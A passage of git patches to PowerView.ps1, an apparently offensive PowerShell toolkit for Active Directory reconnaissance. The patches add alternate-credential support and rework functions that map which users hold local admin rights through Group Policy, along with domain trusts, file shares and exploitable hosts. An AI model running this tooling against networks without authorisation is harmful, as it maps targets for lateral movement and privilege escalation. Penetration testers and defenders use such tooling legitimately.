'.bat', '.ps1') } } else { @@ -9691,7 +10001,7 @@ function Invoke-FileFinder { # script block that enumerates shares and files on a server $HostEnumBlock = { - param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) + param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive) Write-Verbose "ComputerName: $ComputerName" Write-Verbose "ExcludedShares: $ExcludedShares" @@ -9737,7 +10047,7 @@ function Invoke-FileFinder { ForEach($Share in $SearchShares) { $SearchArgs = @{ 'Path' = $Share - 'Terms' = $Terms + 'SearchTerms' = $SearchTerms 'OfficeDocs' = $OfficeDocs 'FreshEXEs' = $FreshEXEs 'LastAccessTime' = $LastAccessTime @@ -9748,7 +10058,6 @@ function Invoke-FileFinder { 'CheckWriteAccess' = $CheckWriteAccess 'OutFile' = $OutFile 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } Find-InterestingFile @SearchArgs @@ -9765,7 +10074,7 @@ function Invoke-FileFinder { $ScriptParams = @{ 'Ping' = $(-not $NoPing) 'ExcludedShares' = $ExcludedShares - 'Terms' = $Terms + 'SearchTerms' = $SearchTerms 'ExcludeFolders' = $ExcludeFolders 'OfficeDocs' = $OfficeDocs 'ExcludeHidden' = $ExcludeHidden @@ -9773,7 +10082,6 @@ function Invoke-FileFinder { 'CheckWriteAccess' = $CheckWriteAccess 'OutFile' = $OutFile 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } # kick off the threaded script block + arguments @@ -9808,7 +10116,7 @@ function Invoke-FileFinder { Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive } } } @@ -10121,6 +10429,11 @@ function Get-ExploitableSystem { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE The example below shows the standard command usage. Disabled system are excluded by default, but @@ -10210,7 +10523,10 @@ function Get-ExploitableSystem { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) Write-Verbose "[*] Grabbing computer accounts from Active Directory..." @@ -10376,6 +10692,7 @@ function Get-ExploitableSystem { # Display results $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object $VulnComputerCount = $VulnComputer.Count + if ($VulnComputer.Count -gt 0) { # Return vulnerable server list order with some hack date casting Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" @@ -10727,7 +11044,7 @@ function Get-NetDomainTrust { param( [Parameter(Position=0,ValueFromPipeline=$True)] [String] - $Domain = (Get-NetDomain).Name, + $Domain, [String] $DomainController, @@ -10737,13 +11054,21 @@ function Get-NetDomainTrust { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { + + if(!$Domain) { + $Domain = (Get-NetDomain -Credential $Credential).Name + } + if($LDAP -or $DomainController) { - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize if($TrustSearcher) { @@ -10787,10 +11112,10 @@ function Get-NetDomainTrust { else { # if we're using direct domain connections - $FoundDomain = Get-NetDomain -Domain $Domain + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential if($FoundDomain) { - (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() + $FoundDomain.GetAllTrustRelationships() } } } @@ -10807,6 +11132,11 @@ function Get-NetForestTrust { Return trusts for the specified forest. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForestTrust @@ -10824,11 +11154,15 @@ function Get-NetForestTrust { param( [Parameter(Position=0,ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) process { - $FoundForest = Get-NetForest -Forest $Forest + $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + if($FoundForest) { $FoundForest.GetAllTrustRelationships() } @@ -11193,6 +11527,11 @@ function Invoke-MapDomainTrust { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv @@ -11213,7 +11552,11 @@ function Invoke-MapDomainTrust { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) # keep track of domains seen so we don't hit infinite recursion @@ -11223,7 +11566,7 @@ function Invoke-MapDomainTrust { $Domains = New-Object System.Collections.Stack # get the current domain and push it onto the stack - $CurrentDomain = (Get-NetDomain).Name + $CurrentDomain = (Get-NetDomain -Credential $Credential).Name $Domains.push($CurrentDomain) while($Domains.Count -ne 0) { @@ -11231,7 +11574,7 @@ function Invoke-MapDomainTrust { $Domain = $Domains.Pop() # if we haven't seen this domain before - if (-not $SeenDomains.ContainsKey($Domain)) { + if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { Write-Verbose "Enumerating trusts for domain '$Domain'" @@ -11241,10 +11584,10 @@ function Invoke-MapDomainTrust { try { # get all the trusts for this domain if($LDAP -or $DomainController) { - $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential } else { - $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential } if($Trusts -isnot [system.array]) { @@ -11252,7 +11595,7 @@ function Invoke-MapDomainTrust { } # get any forest trusts, if they exist - $Trusts += Get-NetForestTrust -Forest $Domain + $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential if ($Trusts) { -- cgit v1.2.3 From 4aea2f12f95452dc1c56b5d58f9135a81f8dab2d Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 28 Feb 2016 22:30:22 -0500 Subject: -fixed several bugs in Find-GPOLocation (-GroupName now works properly and Sites returned) -Find-GPOLocation with no arguments now returns all mappings -fixed parsing issue in Get-NetGPOGroup- names now properly extracted from restricted group templates --- Recon/PowerView.ps1 | 279 +++++++++++++++++++++++++++------------------------- 1 file changed, 147 insertions(+), 132 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 36e2693..59f603f 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1345,7 +1345,7 @@ function ConvertFrom-UACValue { if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } - } + } } $ResultUACValues } @@ -3429,7 +3429,7 @@ filter Get-GUIDMap { } catch { Write-Debug "Error in building GUID map: $_" - } + } } $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential @@ -3586,6 +3586,9 @@ function Get-NetComputer { [String] $ADSpath, + [String] + $SiteName, + [Switch] $Unconstrained, @@ -3627,8 +3630,13 @@ function Get-NetComputer { if($ServicePack) { $Filter += "(operatingsystemservicepack=$ServicePack)" } + if($SiteName) { + $Filter += "(serverreferencebl=$SiteName)" + } - $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + Write-Verbose "Get-NetComputer filter : '$CompFilter'" + $CompSearcher.filter = $CompFilter try { @@ -5428,7 +5436,6 @@ function Get-GptTmpl { [CmdletBinding()] Param ( - [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GptTmplPath, @@ -5539,7 +5546,6 @@ function Get-GroupsXML { [CmdletBinding()] Param ( - [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GroupsXMLPath, @@ -5581,71 +5587,76 @@ function Get-GroupsXML { process { - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath - - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { - - $Members = @() - $MemberOf = @() + try { + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop - # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid - if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { - $LocalSid = 'S-1-5-32-544' - } - elseif($_.Properties.groupName -match 'Remote Desktop') { - $LocalSid = 'S-1-5-32-555' - } - else { - $LocalSid = $_.Properties.groupName - } - } - $MemberOf = @($LocalSid) + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { - $_.Properties.members | ForEach-Object { - # process each member of the above local group - $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + $Members = @() + $MemberOf = @() - if($_.sid) { - $Members += $_.sid + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' } else { - # just a straight local account name - $Members += $_.name + $LocalSid = $_.Properties.groupName } } - } + $MemberOf = @($LocalSid) + + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if ($Members -or $Memberof) { - # extract out any/all filters...I hate you GPP - $Filters = $_.filters | ForEach-Object { - $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + if($_.sid) { + $Members += $_.sid + } + else { + # just a straight local account name + $Members += $_.name + } } } - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} - } + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GroupsXMLPath - 'Filters' = $Filters - 'MemberOf' = $Memberof - 'Members' = $Members - } + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} - New-Object -TypeName PSObject -Property $GPOProperties + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members + } + + New-Object -TypeName PSObject -Property $GPOProperties + } } } + catch { + Write-Debug "Error parsing $GptTmplPath : $_" + } } end { @@ -5849,33 +5860,44 @@ function Get-NetGPOGroup { $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - # only return an object if Members are found - if ($Members -or $Memberof) { - - # if there is no Memberof defined, assume local admins - if(!$Memberof) { - $Memberof = 'S-1-5-32-544' + if(!$Members) { + try { + $MembersRaw = $Inf.GroupMembership | Get-Member *Members | Select-Object -ExpandProperty Name + $Members = ($MembersRaw -split "__")[0].trim("*") + } + catch { + $MembersRaw = '' } + } - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} + if(!$Memberof) { + try { + $MemberofRaw = $Inf.GroupMembership | Get-Member *Memberof | Select-Object -ExpandProperty Name + $Memberof = ($MemberofRaw -split "__")[0].trim("*") } + catch { + $Memberof = '' + } + } - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object { Convert-SidToName $_ } + $Members = $Members | ForEach-Object { Convert-SidToName $_ } + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GPOPath - 'Filters' = $Null - 'MemberOf' = $Memberof - 'Members' = $Members - } + if($Memberof -isnot [System.Array]) {$Memberof = @($Memberof)} + if($Members -isnot [System.Array]) {$Members = @($Members)} - New-Object -TypeName PSObject -Property $GPOProperties + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GPOPath + 'Filters' = $Null + 'MemberOf' = $Memberof + 'Members' = $Members } + + New-Object -TypeName PSObject -Property $GPOProperties } $ParseArgs = @{ @@ -6012,16 +6034,16 @@ function Find-GPOLocation { $ObjectDistName = $Group.distinguishedname } else { - throw "-UserName or -GroupName must be specified!" + $TargetSid = '*' } if($LocalGroup -like "*Admin*") { - $LocalSID = "S-1-5-32-544" + $LocalSID = 'S-1-5-32-544' } elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $LocalSID = "S-1-5-32-555" + $LocalSID = 'S-1-5-32-555' } - elseif ($LocalGroup -like "S-1-5*") { + elseif ($LocalGroup -like "S-1-5-*") { $LocalSID = $LocalGroup } else { @@ -6032,13 +6054,15 @@ function Find-GPOLocation { Write-Verbose "TargetSid: $TargetSid" Write-Verbose "TargetObjectDistName: $ObjectDistName" - if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + if($TargetSid -ne '*') { + if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } - # use the tokenGroups approach from Get-NetGroup to get all effective - # security SIDs this object is a part of - $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids + # use the tokenGroups approach from Get-NetGroup to get all effective + # security SIDs this object is a part of + $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids - if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } + if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } + } Write-Verbose "Effective target sids: $TargetSid" @@ -6052,7 +6076,6 @@ function Find-GPOLocation { # get all GPO groups, and filter on ones that match our target SID list # and match the target local sid memberof list $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - if ($_.members) { $_.members = $_.members | Where-Object {$_} | ForEach-Object { if($_ -match '^S-1-.*') { @@ -6062,25 +6085,19 @@ function Find-GPOLocation { # if there are any plain group names, try to resolve them to sids (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID } - } + } | Sort-Object -Unique # stop PowerShell 2.0's string stupid unboxing - if($_.members -isnot [system.array]) { $_.members = @($_.members) } - if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } - - if($_.members) { - try { - # only return groups that contain a target sid - - # TODO: fix stupid weird "-DifferenceObject" is null error - if( (Compare-Object -ReferenceObject $_.members -DifferenceObject $TargetSid -IncludeEqual -ExcludeDifferent) ) { - if ($_.memberof -contains $LocalSid) { - $_ - } - } - } - catch { - Write-Debug "Error comparing members and $TargetSid : $_" + if($_.members -isnot [System.Array]) { $_.members = @($_.members) } + if($_.memberof -isnot [System.Array]) { $_.memberof = @($_.memberof) } + + # check if the memberof contains the sid of the local account we're searching for + Write-Verbose "memberof: $($_.memberof)" + if ($_.memberof -contains $LocalSid) { + # check if there's an overlap between the members field and the set of target sids + # if $TargetSid = *, then return all results + if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { + $_ } } } @@ -6093,12 +6110,13 @@ function Find-GPOLocation { $GPOgroups | Where-Object {$_} | ForEach-Object { $GPOguid = $_.GPOName + $GPOMembers = $_.Members if( -not $ProcessedGUIDs[$GPOguid] ) { $GPOname = $_.GPODisplayName $Filters = $_.Filters - # find any OUs that have this GUID applied + # find any OUs that have this GUID applied and then retrieve any computers from the OU Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { if($Filters) { @@ -6112,6 +6130,11 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } + if(!$ObjectDistName) { + # if the * wildcard was used, set the ObjectDistName as the GPO member sid set + $ObjectDistName = $GPOMembers + } + $GPOLocation = New-Object PSObject $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname @@ -6122,33 +6145,25 @@ function Find-GPOLocation { } # find any sites that have this GUID applied - # TODO: fix, this isn't the correct way to query computers from a site... - # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { - # if($Filters) { - # # filter for computer name/org unit if a filter is specified - # # TODO: handle other filters? - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { - # $_.adspath -match ($Filters.Value) - # } | Foreach-Object {$_.dnshostname} - # } - # else { - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath - # } - - # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath - # $out = New-Object PSObject - # $out | Add-Member Noteproperty 'Object' $ObjectDistName - # $out | Add-Member Noteproperty 'GPOname' $GPOname - # $out | Add-Member Noteproperty 'GPOguid' $GPOguid - # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - # $out | Add-Member Noteproperty 'Computers' $OUComputers - # $out - # } + Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { + + $AppliedSite = New-Object PSObject + $AppliedSite | Add-Member Noteproperty 'Object' $ObjectDistName + $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl + $AppliedSite + } # mark off this GPO GUID so we don't process it again if there are dupes $ProcessedGUIDs[$GPOguid] = $True } } +} + + +function Get-GPOUserMap { } @@ -6250,7 +6265,7 @@ function Find-GPOComputerAdmin { $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize if(!$Computers) { - throw "Computer $Computer in domain '$Domain' not found!" + throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" } ForEach($Computer in $Computers) { @@ -8377,7 +8392,7 @@ function Invoke-UserHunter { $User } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { @@ -8434,7 +8449,7 @@ function Invoke-UserHunter { } $FoundUser } - } + } } } if(!$Stealth) { @@ -8896,7 +8911,7 @@ function Invoke-ProcessHunter { $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { @@ -9233,7 +9248,7 @@ function Invoke-EventHunter { $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { $_.samaccountname } | Where-Object {$_} - } + } } else { ForEach ($Domain in $TargetDomains) { @@ -10091,7 +10106,7 @@ function Invoke-FileFinder { } else { Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams - } + } } else { @@ -10687,7 +10702,7 @@ function Get-ExploitableSystem { $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) } } - } + } # Display results $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object @@ -11116,7 +11131,7 @@ function Get-NetDomainTrust { if($FoundDomain) { $FoundDomain.GetAllTrustRelationships() - } + } } } } -- cgit v1.2.3 From 46e12414e80aeab78e58d3aaee3207c7262d3747 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 28 Feb 2016 23:05:28 -0500 Subject: Modified output of Find-GPOLocation to return more object information. --- Recon/PowerView.ps1 | 74 ++++++++++++++++++++++++++++++++++------------------- 1 file changed, 48 insertions(+), 26 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 59f603f..9d5fbc6 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6018,7 +6018,7 @@ function Find-GPOLocation { $TargetSid = $UserSid $ObjectSamAccountName = $User.samaccountname - $ObjectDistName = $User.distinguishedname + $TargetObjects = $UserSid } elseif($GroupName) { @@ -6031,7 +6031,7 @@ function Find-GPOLocation { $TargetSid = $GroupSid $ObjectSamAccountName = $Group.samaccountname - $ObjectDistName = $Group.distinguishedname + $TargetObjects = $GroupSid } else { $TargetSid = '*' @@ -6052,7 +6052,6 @@ function Find-GPOLocation { Write-Verbose "LocalSid: $LocalSID" Write-Verbose "TargetSid: $TargetSid" - Write-Verbose "TargetObjectDistName: $ObjectDistName" if($TargetSid -ne '*') { if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } @@ -6130,30 +6129,58 @@ function Find-GPOLocation { $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } - if(!$ObjectDistName) { + if(!$TargetObjects) { # if the * wildcard was used, set the ObjectDistName as the GPO member sid set - $ObjectDistName = $GPOMembers + $TargetObjects = $GPOMembers } - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName - $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers - $GPOLocation + ForEach ($TargetSid in $TargetObjects) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + if($Object.samaccounttype -notmatch '805306368') { + $IsGroup = $True + } + else { + $IsGroup = $False + } + + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers + $GPOLocation + } } # find any sites that have this GUID applied Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object { - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'Object' $ObjectDistName - $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl - $AppliedSite + ForEach ($TargetSid in $TargetObjects) { + $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + + if($Object.samaccounttype -notmatch '805306368') { + $IsGroup = $True + } + else { + $IsGroup = $False + } + + $AppliedSite = New-Object PSObject + $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup + $AppliedSite | Add-Member Noteproperty 'GPOname' $GPOname + $AppliedSite | Add-Member Noteproperty 'GPOguid' $GPOguid + $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $AppliedSite | Add-Member Noteproperty 'Computers' $_.siteobjectbl + $AppliedSite + } } # mark off this GPO GUID so we don't process it again if there are dupes @@ -6163,11 +6190,6 @@ function Find-GPOLocation { } -function Get-GPOUserMap { - -} - - function Find-GPOComputerAdmin { <# .SYNOPSIS @@ -6316,14 +6338,14 @@ function Find-GPOComputerAdmin { $GPO.members | Foreach-Object { # resolvethis SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -Credential $Credential $_ -PageSize $PageSize + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.name + $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') -- cgit v1.2.3 From 26ca1a922e6f2ca08b265ab43a36eefc4bc6acbe Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 6 Mar 2016 21:47:06 -0500 Subject: Added additional fields to Get-NetLocalGroup results. --- Recon/PowerView.ps1 | 85 +++++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 63 insertions(+), 22 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 9d5fbc6..d07edf6 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6468,7 +6468,6 @@ function Get-DomainPolicy { $ParseArgs = @{ 'GptTmplPath' = $GptTmplPath 'UsePSDrive' = $UsePSDrive - 'Credential' = $Credential } # parse the GptTmpl.inf @@ -6585,7 +6584,7 @@ function Get-NetLocalGroup { .EXAMPLE - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Resurse + PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse Returns all effective local/domain users/groups that can access WINDOWS7 with local administrative privileges. @@ -6615,7 +6614,7 @@ function Get-NetLocalGroup { $ComputerFile, [String] - $GroupName = 'Administrators', + $GroupName, [Switch] $ListGroups, @@ -6664,12 +6663,12 @@ function Get-NetLocalGroup { } else { # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName").psbase.Invoke('Members')) + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) $Members | ForEach-Object { $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'Server' $Server + $Member | Add-Member Noteproperty 'ComputerName' $Server $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') @@ -6688,32 +6687,69 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'AccountName' $Name - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + if($IsDomain) { + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - # if the account is local, check if it's disabled, if it's domain, always print $False - # TODO: fix this occasinal error? - $Member | Add-Member Noteproperty 'Disabled' $( if(-not $IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) + $Member | Add-Member Noteproperty 'Description' "" + $Member | Add-Member Noteproperty 'Disabled' $False - # check if the member is a group - $IsGroup = 